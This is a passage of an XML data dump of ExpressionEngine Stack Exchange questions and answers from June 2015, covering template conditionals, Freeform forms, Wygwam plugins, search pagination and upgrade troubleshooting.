  <row Id="31911" PostTypeId="2" ParentId="31905" CreationDate="2015-06-12T13:19:26.533" Score="0" Body="&lt;p&gt;You can set your values directly on the API object like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;data['field_id_X'] = 'Foo';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-12T13:19:26.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31912" PostTypeId="2" ParentId="31906" CreationDate="2015-06-12T13:28:15.913" Score="1" Body="&lt;p&gt;The entire &lt;code&gt;$_POST&lt;/code&gt; array should still be available inside that hook (though for security you should access it via &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your code is incorrect (I can see how the docs are confusing there). What you've posted is their demonstration of how the hook appears &lt;em&gt;inside the module&lt;/em&gt; - not an example of how to use the hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to first insert a row into &lt;code&gt;exp_extensions&lt;/code&gt; which maps &lt;code&gt;freeform_module_insert_end&lt;/code&gt; to your &lt;code&gt;email_this&lt;/code&gt; function (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html#activating-and-updating&quot; rel=&quot;nofollow&quot;&gt;see docs&lt;/a&gt;). Then just write your function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function email_this($field_input_data, $entry_id, $form_id, $freeform_object)&#xA;{&#xA;    // Do what you need to do in here&#xA;    // ee()-&amp;gt;input-&amp;gt;post('my_field_name') should be available here as well&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-12T13:28:15.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31913" PostTypeId="1" CreationDate="2015-06-12T13:45:05.707" Score="1" ViewCount="69" Body="&lt;p&gt;I have a client site where there was a custom YouVersion button added to WYGWAM that stopped working after updating all the things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's working on an Ee 2.6.1 / Wygwam 2.7.1 site.&#xA;It's now running EE 2.10 Wygwam 3.3.3 and not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a YouVersion folder/addon installed in:&#xA;/themes/third_party/wygwam/lib/ckeditor/plugins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;YouVersion&quot; is specified in the Wygwam config, alongside a drop-down value of &quot;extraPlugins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The YouVersion button just doesn't appear. Nor do any of the other I see in the plugins folder and add in the extraPlugins list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a dev server, but I didn't see any pathing specified that might be affecting things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else I should look for?&lt;/p&gt;&#xA;" OwnerUserId="651" LastEditorUserId="651" LastEditDate="2015-06-13T13:51:01.520" LastActivityDate="2015-06-15T15:41:33.503" Title="YouVersion Button in WYGWAM" Tags="|wygwam|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31914" PostTypeId="2" ParentId="31875" CreationDate="2015-06-12T13:54:58.030" Score="0" Body="&lt;p&gt;So the problem ended up being that I was using Wygwam in my channel field for {slider_image1}. Wygwam aslo has a file upload area where the user can upload the file. However the code only seems to be accepted with the channel field being set to type: file even though the image uploaded via Wygwam does normally show up as an image source and is another way to upload the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;slider_test&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt; div style=&quot;width:100%;height:100%; background-image: url('{slider_image1}')&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image does display as a background image only when the channel field is set to file. Thank you again for all of those who helped.&lt;/p&gt;&#xA;" OwnerUserId="6386" LastActivityDate="2015-06-12T13:54:58.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31915" PostTypeId="1" CreationDate="2015-06-12T14:05:29.897" Score="0" ViewCount="116" Body="&lt;p&gt;I have a search results page using Low Search that has two tabs on it for two different sets of search results. I think that the fact that this uses Low Search is mostly irrelevant for this question since I'd have this same issue if I was just using two channel entries tags on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One tab is pulling in local results using geocoded distance parameters. The other tab is pulling in all results, ignoring the distance parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working well, but the problem comes in when we have multiple pages. For example, sometimes there are multiple pages of results in the first tab and only one page of results in the first tab. So if the user goes to the second tab and clicks through to the 4th page, then clicks back to the first tab they see no results because it's using the P40 segment in the URL to look for the 4th page of results but not finding a 4th page for the results in that tab. Here's an example of the full search URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.domain.org/search-results/P40?keywords=thiskeyword&amp;amp;distance:radius=100&amp;amp;location=Austin&amp;amp;distance:from=32.7766642|-96.79698789999998&quot; rel=&quot;nofollow&quot;&gt;https://www.domain.org/search-results/P40?keywords=thiskeyword&amp;amp;distance:radius=100&amp;amp;location=Austin&amp;amp;distance:from=32.7766642|-96.79698789999998&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a workaround for this? I haven't been able to figure out a good solution to have pagination only apply to one specific results tag or channel entries tag on the page.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2015-06-12T15:17:00.463" Title="Two search results tags with separate pagination on the same page" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31916" PostTypeId="1" CreationDate="2015-06-12T14:17:36.950" Score="1" ViewCount="67" Body="&lt;p&gt;Looking for advice on the best way to handle multiple file uploads associated with a Freeform entry.  We have a form that collects basic text-based demographic information, but it also requires several 4-5MB uploads.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to avoid asking users to zip into one file, but doing 4-5 http uploads seems dangerous.  Any great ideas?&lt;/p&gt;&#xA;" OwnerUserId="442" LastActivityDate="2016-05-25T21:16:02.547" Title="Best method for mulit-file upload in Freeform?" Tags="|solspace-freeform|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31917" PostTypeId="1" CreationDate="2015-06-12T15:13:33.787" Score="0" ViewCount="102" Body="&lt;p&gt;I'm trying to upgrade from 2.8.1 to 2.10.1 and the installer seems to get into an infinite loop. It looks like it is having troubles with the config.php file. All the directory and file permissions are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also noticed that the installer has identified my existing install as &quot;Public Beta pb01&quot;, which I have no idea where it is getting that from (somewhere in the database?), though way back that was the first version of EE I installed. In my config.php file I have $config['app_version'] = &quot;281&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After stopping the install this is the resulting config.php file:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction? Thanks and cheers!&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2015-08-11T22:25:49.590" Title="Upgrading to 2.10.1" Tags="|install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31918" PostTypeId="2" ParentId="31915" CreationDate="2015-06-12T15:17:00.463" Score="1" Body="&lt;p&gt;You need to use Low Search with an Ajax functionality. You can individualize each search tab (separate them programmatically with different DOM id's and jQuery calls) and hit the ACTion URL of the add-on, and update the DOM asynchronously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/low/4632695&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/low/4632695&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get your &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;variable back, just use jQuery to remove and recreate your result tab results. You will lose out a little though; web crawlers won't be able to crawl the entirety of your search results, but I figure you didn't really have that going on anyways unless you also have the option of opening the two searches on two different pages (open each one individually with crawlable URLs). In which case, you're kinda of covered there.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-12T15:17:00.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31919" PostTypeId="1" CreationDate="2015-06-12T16:05:16.043" Score="0" ViewCount="110" Body="&lt;p&gt;Trying to send message using Freeform Pro in a lightbox (Fancybox). I'd like to have confirmation message display inside of lightbox after successful submit. Not quite sure the best way to accomplish this. Any insight or advise?&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-11-10T13:54:50.027" Title="Freeform Pro confirmation message inside Fancybox" Tags="|solspace-freeform|email|confirmation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31920" PostTypeId="1" CreationDate="2015-06-12T17:13:42.173" Score="0" ViewCount="179" Body="&lt;p&gt;I'd like to use something similar to a &lt;code&gt;switch&lt;/code&gt; or plugin like &lt;a href=&quot;https://github.com/mattnicholson/EEgrouper&quot; rel=&quot;nofollow&quot;&gt;Grouper&lt;/a&gt; with &lt;code&gt;category_archive&lt;/code&gt;, to wrap a &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; around every 6 &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;, but I don't see anything that works. Is jQuery the best way to go or is the another solution I can use that doesn't need js/jQuery?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt;&#xA;    {exp:channel:category_archive channel=&quot;speakers&quot; style=&quot;linear&quot; backspace=&quot;7&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            {categories}&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;            {/categories} &#xA;            {entry_titles}  &#xA;            &amp;lt;ul class=&quot;list-unstyled&quot;&amp;gt; &#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='site/speaker'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;  &#xA;            {/entry_titles}     &#xA;        &amp;lt;/li&amp;gt;   &#xA;    {/exp:channel:category_archive}     &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2016-05-23T04:39:00.403" Title="Wrap &lt;ul&gt; around every x number of &lt;li&gt; in category_archive entry loop" Tags="|categories|jquery|javascript|html|category-archive|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31921" PostTypeId="2" ParentId="31920" CreationDate="2015-06-12T17:21:39.110" Score="0" Body="&lt;p&gt;Take a look at the conditionals available.&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&lt;/a&gt;&#xA;Particularly the modulus operator.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-06-12T17:21:39.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31923" PostTypeId="2" ParentId="31917" CreationDate="2015-06-12T19:49:34.463" Score="1" Body="&lt;p&gt;The issue was that I was using PHP 5.4.39 and when I upgraded to 5.4.41 it resolved the error. Hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2015-06-12T19:49:34.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31924" PostTypeId="2" ParentId="9655" CreationDate="2015-06-12T20:20:13.317" Score="0" Body="&lt;p&gt;I've run into this error many times and it always ends up being an issue connecting the to database. These are the things I check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you're trying to connect to a remote DB from a local instance of EE, make sure that the MySQL port is open on your DB server. By default the port is 3306. If you're not sure how verify if the port is open, see if your host will do it for you. I use Rackspace for hosting and they're very helpful with things like this.&lt;/li&gt;&#xA;&lt;li&gt;EE provides you with a DB testing utility which can be found in system &gt; expressionengine &gt; utilities &gt; dbtest.php. Copy that file to your webroot, modify lines 4-7 with the credentials from your database.php file, and hit the page. You'll get feedback on failure or success with your connection.&lt;/li&gt;&#xA;&lt;li&gt;Verify that your config.php and database.php files have 666 permissions. I do not recommend that you set these to 777 as you stated above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-12T20:20:13.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31925" PostTypeId="1" AcceptedAnswerId="31949" CreationDate="2015-06-12T20:26:55.313" Score="0" ViewCount="83" Body="&lt;p&gt;How do I remove test orders from an Expresso Store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2 / Expresso Store 2.5.0&lt;/p&gt;&#xA;" OwnerUserId="37" LastActivityDate="2015-06-15T19:02:21.733" Title="Remove Test Orders in Expresso Store" Tags="|expresso-store|ecommerce|stripe|orders|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31926" PostTypeId="2" ParentId="31919" CreationDate="2015-06-12T20:38:11.393" Score="1" Body="&lt;p&gt;If you want the thank you message to appear in the same Lightbox window as the form, without a refresh, you'll need to do this with Ajax. This is the basic outline of how this would happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Thank You page in the CMS with your content.&lt;/li&gt;&#xA;&lt;li&gt;Create your Freeform form and put it in the Lightbox. I'm assuming it's invoked by clicking a link on the containing page? Wrap the whole form (all the content you want to replace) with a div class=&quot;ajax-content&quot; (or whatever you want to call it).&lt;/li&gt;&#xA;&lt;li&gt;Give your submit button a class like &quot;get-thank-you&quot; and create an onclick event for this button that replaces ajax-content with data from the thank you url. You can find an example of how to do this here: &lt;a href=&quot;https://stackoverflow.com/a/13832977/990061&quot;&gt;https://stackoverflow.com/a/13832977/990061&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-06-12T20:38:11.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31927" PostTypeId="2" ParentId="31925" CreationDate="2015-06-13T03:09:07.280" Score="-2" Body="&lt;p&gt;Uhh, from the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Orders can be selected using the checkboxes on the right. The Select Action&#xA;drop-down can be used to bulk update the order status, or delete orders. Note&#xA;that if the status of multiple orders is updated, they will each be sent any &#xA;email notifications assigned to the new order status.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never used this addon, and it took me a less than 7 seconds to find the answer. Sorry, I don't mean to be sarcastic, but give the documentation a good look! It can answer many of your questions. This is the page I found your answer on (it has pictures that can probably help):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/control_panel_orders.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/control_panel_orders.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-13T03:09:07.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31928" PostTypeId="2" ParentId="31916" CreationDate="2015-06-13T03:33:52.767" Score="0" Body="&lt;p&gt;Don't know FreeForm very well, but I bet this addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/low-freeform-field&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/low-freeform-field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would work great with for allowing you to use a Matrix fieldtype (a purchased fieldtype, I don't work for them but it works pretty well) with a FreeForm form. You could probably use it to allow a single column Matrix fieldtype that user can expand on in the front-end; you'll need to do some work to make it all work but it smells like an answer to me.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-13T03:33:52.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31929" PostTypeId="2" ParentId="31925" CreationDate="2015-06-13T13:54:53.793" Score="3" Body="&lt;p&gt;I asked this question earlier, and it turns out in 2.5 the delete functionality was accidentally removed according to the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31328/how-to-delete-order&quot;&gt;How to delete order?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-06-13T13:54:53.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31930" PostTypeId="1" AcceptedAnswerId="31942" CreationDate="2015-06-13T18:25:43.483" Score="0" ViewCount="53" Body="&lt;p&gt;I'm using Rating from Solspace, and at the same time I use &lt;strong&gt;Zurb Foundation Abide validation library&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is the &lt;strong&gt;data-abide&lt;/strong&gt; &lt;strong&gt;Zurb Foundation&lt;/strong&gt; parameter appears  inside the form element created by the Rating module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form data-abide&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How it's possible that this parameter &lt;strong&gt;data-abide&lt;/strong&gt; appears inside the &lt;strong&gt;form element&lt;/strong&gt; when the HTML form is created by the Rating module ?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2015-06-13T18:31:03.043" LastActivityDate="2015-06-15T15:51:32.317" Title="Solspace Rating: adding parameter inside the &lt;form&gt;" Tags="|forms|parameters|solspace-rating|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31932" PostTypeId="1" AcceptedAnswerId="31933" CreationDate="2015-06-14T17:38:23.187" Score="0" ViewCount="96" Body="&lt;p&gt;I am using the Grid field built into EE, 2.8.1, to display event dates. In the Grid column I have an event date field to let you know when the event starts. What I would like to do is have this date field then somehow have the field no longer display 24 hours after the event start time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this working by setting up an expiration date field but thought it would be easier for the end user not to have to fill that in since it is not the best workflow for the data entry person. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a certain way to automagically do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current template code. I am using the &lt;strong&gt;Math Plus&lt;/strong&gt; plugin to help with math but not sure if I am even approaching this correctly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{bio_pull_in_tour_dates}&#xA;&amp;lt;tbody&amp;gt;&#xA;        {bio_pull_in_tour_dates:tour_dates orderby=&quot;bio_pull_in_tour_dates:tour_dates:tour_date_of_show&quot; sort=&quot;asc&quot;}&#xA;&#xA;        {if {bio_pull_in_tour_dates:tour_dates:tour_date_of_show format=&quot;%U&quot;} &amp;lt; {exp:math_plus decimal_places=&quot;0&quot; calculate=&quot;({var1} + {var2})&quot; var1=&quot;{bio_pull_in_tour_dates:tour_dates:tour_date_of_show format=&quot;%U&quot;}&quot; var2=&quot;86400&quot; }{math_plus_result}{/exp:math_plus}}&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td class=&quot;col-md-2&quot;&amp;gt;{bio_pull_in_tour_dates:tour_dates:tour_date_of_show format=&quot;%n/%j/%y&quot;}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;col-md-2&quot;&amp;gt;{bio_pull_in_tour_dates:tour_dates:tour_venue}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;col-md-2&quot;&amp;gt;{bio_pull_in_tour_dates:tour_dates:tour_city}, {bio_pull_in_tour_dates:tour_dates:tour_state}&amp;lt;/td&amp;gt;&#xA;&#xA;                &amp;lt;td class=&quot;col-md-2&quot;&amp;gt;{bio_pull_in_tour_dates:tour_dates:country}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;col-md-4&quot;&amp;gt;&#xA;                    Start Time: {bio_pull_in_tour_dates:tour_dates:tour_date_of_show format=&quot;%U&quot;}&amp;lt;br/&amp;gt;&#xA;                    Current Time: {current_time format=&quot;%U&quot;}&amp;lt;br/&amp;gt;&#xA;                    Expire Time: {exp:math_plus decimal_places=&quot;0&quot; calculate=&quot;({var1} + {var2})&quot; var1=&quot;{bio_pull_in_tour_dates:tour_dates:tour_date_of_show format=&quot;%U&quot;}&quot; var2=&quot;86400&quot; }{math_plus_result}{/exp:math_plus}&amp;lt;br/&amp;gt;&#xA;                     &amp;lt;br/&amp;gt;&#xA;                     {bio_pull_in_tour_dates:tour_dates:tour_additional_info}&#xA;                     &amp;lt;br/&amp;gt;Marked Expire &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/if}&#xA;        {/bio_pull_in_tour_dates:tour_dates}&#xA;&amp;lt;/tbody&amp;gt;&#xA;{/bio_pull_in_tour_dates}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I am taking the date of show field converting it's format to Epoch seconds. Then I am comparing the start time to the sum of the start time plus 86400 since that is how many seconds are in a day. this should work but it does not appear to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense. If there are better ways to get the row to hide after a certain amount of time please point me in the correct direction,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="1418" LastEditorUserId="343" LastEditDate="2015-06-14T23:40:00.177" LastActivityDate="2015-06-14T23:40:00.177" Title="Hide Grid row based on date" Tags="|grid|date|math|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31933" PostTypeId="2" ParentId="31932" CreationDate="2015-06-14T23:39:05.033" Score="1" Body="&lt;p&gt;First: a value will always be smaller than itself plus any other value. You need to compare the date against the &lt;code&gt;{current_time}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you need to parse all values before the Math Plus plugin, so the data can be available to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries paser=&quot;inward&quot; [...]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you can update EECMS, you should. The version 2.9 has new &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;mathematical conditionals operators&lt;/a&gt; that can help you to keep your code simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if bio_pull_in_tour_dates:tour_dates:tour_date_of_show + 86400 &amp;gt; {current_time} }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you gonna need to put &lt;code&gt;bio_pull_in_tour_dates:tour_dates:tour_date_of_show&lt;/code&gt; between &lt;code&gt;'{&lt;/code&gt; and &lt;code&gt;}'&lt;/code&gt;. Please, test and help me to improve this answer.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-14T23:39:05.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31934" PostTypeId="1" CreationDate="2015-06-15T13:53:58.897" Score="0" ViewCount="99" Body="&lt;p&gt;I'm wondering if there is a way to disable EE control panel menu/submenu appear by hover. Instead I would like to set it up to open on click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i know that base menu initiate on click - first time, and then all other appear on hover), i would like to disable hover totaly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this, well, i'm building nice custom EE control panel theme, with left vertical menu, but i'm having problems with submenu appearing when i don't want them to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VUbHH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone in advance&lt;/p&gt;&#xA;" OwnerUserId="6395" LastActivityDate="2016-05-20T15:53:53.957" Title="Is there a way to change EE Control Panel menu/submenu to open on click instead of hover?" Tags="|ee2|control-panel|javascript|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31935" PostTypeId="1" AcceptedAnswerId="31938" CreationDate="2015-06-15T14:10:42.797" Score="0" ViewCount="134" Body="&lt;p&gt;Inside an {exp:freeform:entries} tag, I can't do something like {if freeform:count == 1} unless I output {freeform:count} somewhere in the loop. It can be above or below the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:count == 1}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;The count is {freeform:count}&amp;lt;/p&amp;gt;&#xA;{if freeform:count == 1}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.73 and FreeForm Pro 4.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2015-06-15T15:21:58.887" Title="Can't do &quot;if&quot; conditional with FreeForm field unless I output the field elsewhere?" Tags="|solspace-freeform|conditionals|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31936" PostTypeId="1" AcceptedAnswerId="31940" CreationDate="2015-06-15T14:38:47.953" Score="0" ViewCount="116" Body="&lt;p&gt;We have an EE site that uses one database. That database is used for both production and for development. If we push a new template to our dev environment will we ever run into an issue where the template syncs to the database and makes it available in production, too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about if we have &lt;code&gt;save_tmpl_files&lt;/code&gt; enabled? Will that prevent any syncing?&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2015-06-15T15:34:06.177" Title="Templates syncing between two different environments" Tags="|templates|sync|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31937" PostTypeId="2" ParentId="31935" CreationDate="2015-06-15T14:50:25.140" Score="1" Body="&lt;p&gt;That's an odd one, It seems the former is being treated as a simple conditional and ergo executed prior to modules, while the latter is correctly recognised as advanced and so parsed after the module tags? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't be sure but I think I'm guessing wildly here! Would you be up for trying a couple of other experiments to see if we can (a) solve and (b) diagnose?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Force Advanced Conditional (is it parse order??)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:count == 1}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{if:else}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt; : &lt;em&gt;Epic FAIL&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;this will definatly force the parsing of the conditional to after the module tags. This is not the best example of forcing advanced conditionals but it WILL work :)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Try a different syntax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {freeform:count} == 1}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{/if}&#xA;&#xA;{if '{freeform:count}' == '1'}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt; : &lt;em&gt;Winner winner, checken dinner!&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both are a similar principle, first one just sees if the &lt;code&gt;{&lt;/code&gt;tags&lt;code&gt;}&lt;/code&gt; effect the parsing, the second will parse the count into a string and do a simple string comparison...&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Ultimate work around&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //{freeform:count} ?&amp;gt;&#xA;{if freeform:count == 1}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt; : 